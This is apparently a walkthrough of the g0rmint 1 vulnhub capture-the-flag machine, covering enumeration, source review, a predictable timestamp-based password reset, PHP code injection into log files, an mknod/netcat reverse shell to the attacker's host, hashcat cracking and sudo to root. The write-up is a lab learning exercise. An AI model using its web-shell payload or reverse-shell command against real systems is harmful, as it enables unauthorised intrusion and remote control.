This is a walkthrough of the g0rmint 1 vulnhub machine released by Noman Riffat
vulnhub link: g0rmint: 1
After booting up the CTF, we have to get the IP of the machine on our internal network:
# arp-scan -localnet
The VM’s IP address on the environment we work on is 192.168.1.120
As a regular initial enumeration on the most common services the host seems to run two services: ssh and a web server on ports 22 and 80, respectively:
# nmap -O -sT -sV –top-ports 1000 192.168.1.120
A complete TCP scan on the host did not disclose any other services open to the public.
Now checking for any open tcp ports using unicornscan:
# us -m U 192.168.1.120:all -v
Just port 53 opened.
The front page of the webserver returns a NOT FOUND response including the apache httpd banner. The nmap vuln script found a robots.txt file containning a folder leading to a web login form:

So far we have the following summary on the target:
TCP Ports:
- Port 22:
Running a ssh daemon OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0
(vulnerable to username enumeration)
- Port 80:
Running an Apache 2.4.18 web server
A login form of a custom built php application requiring a username and password providing a "reset password" link, as well as showing the exact server date and time in is footer.
UDP Ports:
Port 53:
Running a domain service
Checking out the ubuntu package header string “4ubuntu2.2” returned from the ssh daemon on launchpad provides an additional information that the target is probably running Ubuntu Xenial (16.04)
So after poking a bit and doing some useless stuff on the web login form, like trying some default “admin” – “admin” configuration etc, I finally had the great idea to take a closer look at the source code (and playing around for several hours I still did miss the most obvious relevant stuff, but I’ll go ahead in this post). Reviewing the source code of the login.php page located at http://192.168.1.120/g0rmint/login.php discloses some useful stuff for the enumeration stage:

digging further to the style.css source shows a comment disclosing the author’s email:

And most importantly, a few lines above this stands the following code:

Doing some other stuff in the meantime like trying to enumerate the ssh daemon for the usernames w3bdrill3r and g0rmint revealed that there was indeed a g0rmint user on the machine, however this was used in no way to penetrate the target. The other thing I did was running dirbuster on the / and /g0rmint directories, which only showed the files I already had access to.
First thing that came to mind after the above discoveries was to check the contents of the newly discovered directory either at http://192.168.1.120/s3cretbackupdirect0ry/ or http://192.168.1.120/g0rmint/s3cretbackupdirect0ry/
which both returned a 404 response. After some tests with this box my guess was the server returns a 404 on each requested directory which does not contain an index file. So after thinking for a while I decided to give it a shot trying to brute force for some possible files using dirbuster. For several hours and trying tons of things and useless manual guesses, and after running dirbuster with the most common extensions (php,txt,html,htm,cgi) from this box I learned the following lessons: people and most automatic daemons STORE their backup data usually in archived format to use as a container in the event of a recovery that may be needed. Before getting into this box I always mislooked at this very important detail – the files stored on a server are not always just with the language extension the server is configured to parse, so I made up a common list of extensions that I could use when running dirbuster:
.html,.htm,.php,.cgi,.asp,.zip,.tar,.gz,.tgz,.tar.gz,.rar,.7z,.bak,.~,.log
Sometimes the .bak, .~, and .log files might come in most useful as the first two are usually source backup files which the server is not configured to parse and basicly just outputs the source of a server parsed file, .php for example. The log files could already be considered some gold as they provide a bunch of information about the target which you could not usually enumerate in a remote manner.
(of course depending on the sever environment – in this case looking for .asp files might be useless)
So I put into dirbuster’s configuration all the possible archive files I could think of, and provided as a parameter the recently discovered s3cretbackupdirect0ry (I usually prefer the GUI version of dirbuster but as it tends to freeze and for the purpose of the screenshot I used the dirb console application this time):

The backup.zip file happened to contain a backup of the custom g0rmint web login portal.
I tried to look for a glitch at the source code of the application for several hours, however it seemed to create a php file named dummy.php at the beginning of each page, checking for a valid login session and exitting the application in case none was found.
The mechanism of the application is as following:
index.php:
<?php include_once('config.php'); session_start(); if (!isset($_SESSION['username'])) { header('Location: login.php'); exit; } ?>
So in case the $_SESSION[‘username’] session variable is not set, the application redirects to the login.php page which contains the authentication mechanism.
login.php:
<?php include_once('config.php'); if (isset($_POST['submit'])) { // If form is submitted $email = $_POST['email']; $pass = md5($_POST['pass']); $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass"); $sql->bindParam(":email", $email); $sql->bindParam(":pass", $pass); $row = $sql->execute(); $result = $sql->fetch(PDO::FETCH_ASSOC); if (count($result) > 1) { session_start(); $_SESSION['username'] = $result['username']; header('Location: index.php'); exit(); } else { $log = $email; $reason = "Failed login attempt detected with email: "; addlog($log, $reason); } } ?>
So the application runs a PDO prepared statements which are not vulnerable to a regular sql injection, and logs each failed attempt using the addlog function. I really counted on some kind of code injection using the logging function, which was defined in the login.php file, however it proved to be non-exploitable (or at least I couldnt find a way to do this, if anyone achieved this I would appreciate a share)
login.php:
function addlog($log, $reason) { $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php"; if (file_exists($myFile)) { $fh = fopen($myFile, 'a'); fwrite($fh, $reason . $log . "<br>\n"); } else { $fh = fopen($myFile, 'w'); fwrite($fh, file_get_contents("dummy.php") . "<br>\n"); fclose($fh); $fh = fopen($myFile, 'a'); fwrite($fh, $reason . $log . "<br>\n"); } fclose($fh); }
dummy.php:
<?php include_once('../config.php'); session_start(); if (!isset($_SESSION['username'])) { header('Location: ../login.php'); exit; } ?>
So each time the addlong function is called, in case the file named with the current date exists it just appends a message at the end of the file, otherwise it creates such file with the contents of the dummy.php file which just exits in case the $_SESSION[‘username’] variable is not set, which happens upon a successful login.
Staring for a while at the source trying to invent some kind of a new file writing bug (I’m serious, I was really into this) I got back to the real world of logic and noticed that there’s something more to check – the reset password form.
An important step I actually missed here is the archive contained a db.sql file as well containing the initial contents of the database:

So cracking the hash at this point using hashcat and trying it on the web application was pointless, as providing the above username and email on the forgot password page returned a response the user has not been found in the database, so obviously the password has already been changed.
Trying the credentials from the style.css comment however, seemed to work:

After reviewing the reset.php file source code,

The following two lines generate the actual password:
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20); $password = md5($password);
which is actually based on the server current timestamp, which is already shown in the footer of the web login form. So in my case the string shown at the time of resetting the password was “Wednesday 3rd of January 2018 03:30:06 PM”, which can be easily substituted

Please note that I’m actually omitting the gmdate function when generating the password as it is actually used to generate a timestamp of the current time and date on the target, but what we provide is actually already a string in the format of a timestamp. It takes a few minutes to realize this at first sight. After outputting the password I was able to login to the g0rmint web application successfully using the newly generated password:

As I was already familiar with mechanism of the application at this stage, I was looking for a way to inject a php code into the error logging files. The application creates a file named “Y-m-d.php” in the s3cr3t-dir3ct0ry-f0r-l0gs directory and for ease, the files are listed under a commented section in the admin portal with the filename “secrets.php”. So by accessing the following url http://192.168.1.120/g0rmint/secretlogfile.php directly a list of log files is shown.


In order to achieve a Remote Command Injection on the target (as there isn’t any kind of input filtering), I just had to inject the following code as a username:
<?php echo exec($_GET`); ?>
(I tried several different things, however putting $_GET[‘cmd’] didnt seem to work. Another thing to work in such cases is getting the first value of the request array variable
array_shift(array_values($_GET));
which also seemed to work.

Using my pentest cheatsheet as a reference I spawned a shell by requesting the following url:
http://192.168.1.120/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-01-03.php?cmd=mknod%20/tmp/backpipe%20p;%20/bin/sh%200%3C/tmp/backpipe%20|%20/bin/nc%20192.168.1.131%20443%201%3E/tmp/backpipe
nc -nlvp 443 listening on [any] 443 ... connect to [] from (UNKNOWN) [192.168.1.120] 59850

Privilege Escalation
first steps:
Now, this is the port where I got really stuck. The steps below do require some experience in penetration testing. Cracking an md5 hash with a totally random pattern is usually considered a last resort, but to whomever is reading this my advise is not to ever take it out of the equation. Some of the easiest and quickest privilege escalation methods happen due to disclosed or easily crackable passwords.
After browsing for some files and enumerating that there was a user g0rmint on the target with the home folder /home/g0rmint (and noticing the target is missing a gcc compiler so trying some kernel exploits would be a nightmare thus I left this as a last resort. So straight to it, another backup.zip file was located in the /var/www directory, which contained a database backup named db.sql disclosing a password hash, supposedly of the usual g0rmint user password, which may probably be set not just for mysql but on the target system as well (and may be used to login via ssh eventually)


hash-identifier recognized this as a usual md5 hash, and having in mind that hashes in databases are most commonly stored as raw md5 that seems to coincide.
hashcat was my next move, and passing the has through the regular rockyou.txt dictionary did not work. Having in mind that using a modern GPU cracking up to 12 alphanumeric passwords is achievable in less then a day, I tried using several patterns. The following one seemed to prove successful:
# hashcat -m 0 -a 3 -1 ?l?d hash ?1?1?1?1?1?1?1?1?1?1?1 --increment --increment-min=5 --increment-max=11
What the above command means is hashcat will create a pattern of an alphanumeric lowercase string, starging from 5 characters and making its way up to 11 characters at most, when it will eventually stop in case no match has been found.
However in this case, a password of 9 characters has been discovered in about 14 minutes:

Trying the password “tayyab123” via the ssh service went smoothly:

Privilege Escalation
enumerating the target and checking for sudo privileges:
$ sudo -l

$ sudo su root@ubuntu:/home/g0rmint# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:/home/g0rmint#

Something interesting that could be noticed about this VM is the root user does not have an enabled password state, so brute force of any kind on the root user would be pointless.
